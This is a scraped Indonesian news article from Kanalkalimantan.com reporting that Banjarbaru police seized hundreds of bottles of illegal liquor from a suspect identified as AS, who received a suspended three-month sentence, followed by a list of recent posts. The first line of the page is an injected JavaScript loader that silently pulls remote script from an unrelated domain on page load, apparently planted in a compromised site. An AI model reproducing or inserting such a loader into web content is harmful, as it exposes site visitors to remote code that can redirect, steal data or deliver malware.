(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: kriminal banjarbaru

Simpan Ratusan Botol Miras Siap Jual di Kamar, AS Diciduk Polres Banjarbaru


KANALKALIMANTAN.COM, BANJARBARU – Dua hari terakhir, Satuan Sabhara Polres Banjarbaru mengungkap peredaran minum keras di beberapa lokasi.

Informasi yang diterima Kanalkalimantan.com, awalnya pihak kepolisian melakukan giat patroli di wilayah Jalan Karang Anyar, Kelurahan Loktabat Utara, Banjarbaru. Di lokasi tersebut, ada ratusan botol miras yang diamankan.

Kapolres Banjarbaru, AKBP Doni Hadi Santoso melalui Kasat Sabhara Polres Banjarbaru, Iptu Suko, mengatakan pihaknya mengamankan belasan dus miras berbagai jenis dan merek diangkut dari sebuah kamar di kediaman pribadi tersangka berinisial AS.

“Laporan dari masyarakat bahwa di rumah tersangka sering adanya transaksi juak beli miras. Untuk itu kemarin kita tindak lanjuti dan ditemukan ratusan botol miras yang masih tersegel di dalam kardus di kamar tersangka,” katanya, Rabu (1/7/2020) siang.

Adapun dari hasil pemeriksan petugas, ratusan botol miras ilegal tersebut bernilai mencapai jutaan rupiah. Terbuktinya giat tangkap tangan ini, membuat AS digiring petugas ke Mapolres Banjarbaru beserta barang bukti.

Pada hari ini, AS menjalani sidang Tipiring di Pengadilan Negeri (PN) Banjarbaru. Hakim yang memimpin jalannya sidang memvonis AS bersalah. “Tersangka divonis tiga bulan kurungan dengan masa percobaan satu tahun. Artinya jika AS kembali melakukan pelanggaran selama setahun ini, maka akan langsung dipidana kurungan tiga bulan,” jelas Suko.

Selama beberapa bulan terakhir, Satuan Sabhara Polres Banjarbaru memang terus terus menggelar patroli rutin yang ditingkatkan. Alhasil pihaknya beberapa kali mendapati indikasi terkait pelanggaran seputar minuman keras.

“Tadi malam (kemarin) kita juga mendapati tuak yang ditinggal kabur pemiliknya ketika kita patroli rutin. Lokasi di sebuah warung Angkringan di Trikora. Jadi memang patroli rutin ini kita tambah intensitasnya,” tegasnya.

Adapun patroli rutin ini kata Suko selain menyasar pelanggaran kamtibmas di masyarakat juga mengingatkan warga soal protokol pencegahan Covid-19. “Kita tekankan untuk hidup disiplin agar bisa mencegah Covid-19,” pungkasnya. (Kanalkalimantan.com/rico)

Reporter : rico
Editor : cell

 


Al Ghifari

Recent Posts

Dilakban di Paha, Empat Orang di Bandara Juwata Tarakan Selundupkan 4 Kg Sabu

KANALKALIMANTAN.COM, TARAKAN - Empat orang calon penumpang pesawat dengan rute Tarakan-Makassar batal berangkat lantaran kedapatan… Read More

3 jam ago

Satgas TMMD Bikin Sumur Bor untuk Warga Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Pengerjaan sumur bor menjadi salah satu sasaran fisik program TNI Manunggal Membangun… Read More

5 jam ago

Jemaah Termuda Kloter 1 Daftar Haji saat Umur 10 Tahun, Setor 2014 Berangkat 2024

KANALKALIMANTAN.COM, BANJARBARU - Berangkat haji ke Baitullah menunaikan Rukun Islam kelima sepenuhnya adalah panggilan. Berusia… Read More

7 jam ago

Embarkasi Banjarmasin Berangkatkan 5.759 JCH Kalsel-Kalteng, Pelayanan Penuh Jemaah Lansia

KANALKALIMANTAN.COM, BANJARBARU - Sebanyak 4.071 jemaah calon haji (JCH) asal Kalimantan Selatan (Kalsel) akan berangkat… Read More

8 jam ago

Caleg Terpilih Tak Harus Mundur Jika Maju Pilkada, Begini Penjelasan Ketua KPU Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Caleg Anggota Dewan Perwakilan Rakyat (DPR), Anggota Dewan Perwakilan Rakyat Daerah (DPRD)… Read More

10 jam ago

Lepas Keberangkatan 320 Calon Haji, Ini Pesan Bupati Banjar

KANALKALIMANTAN.COM, MARTAPURA - Bagian dalam dan luar halaman Mahligai Sultan Adam di Jalan A Yani… Read More

11 jam ago

This website uses cookies.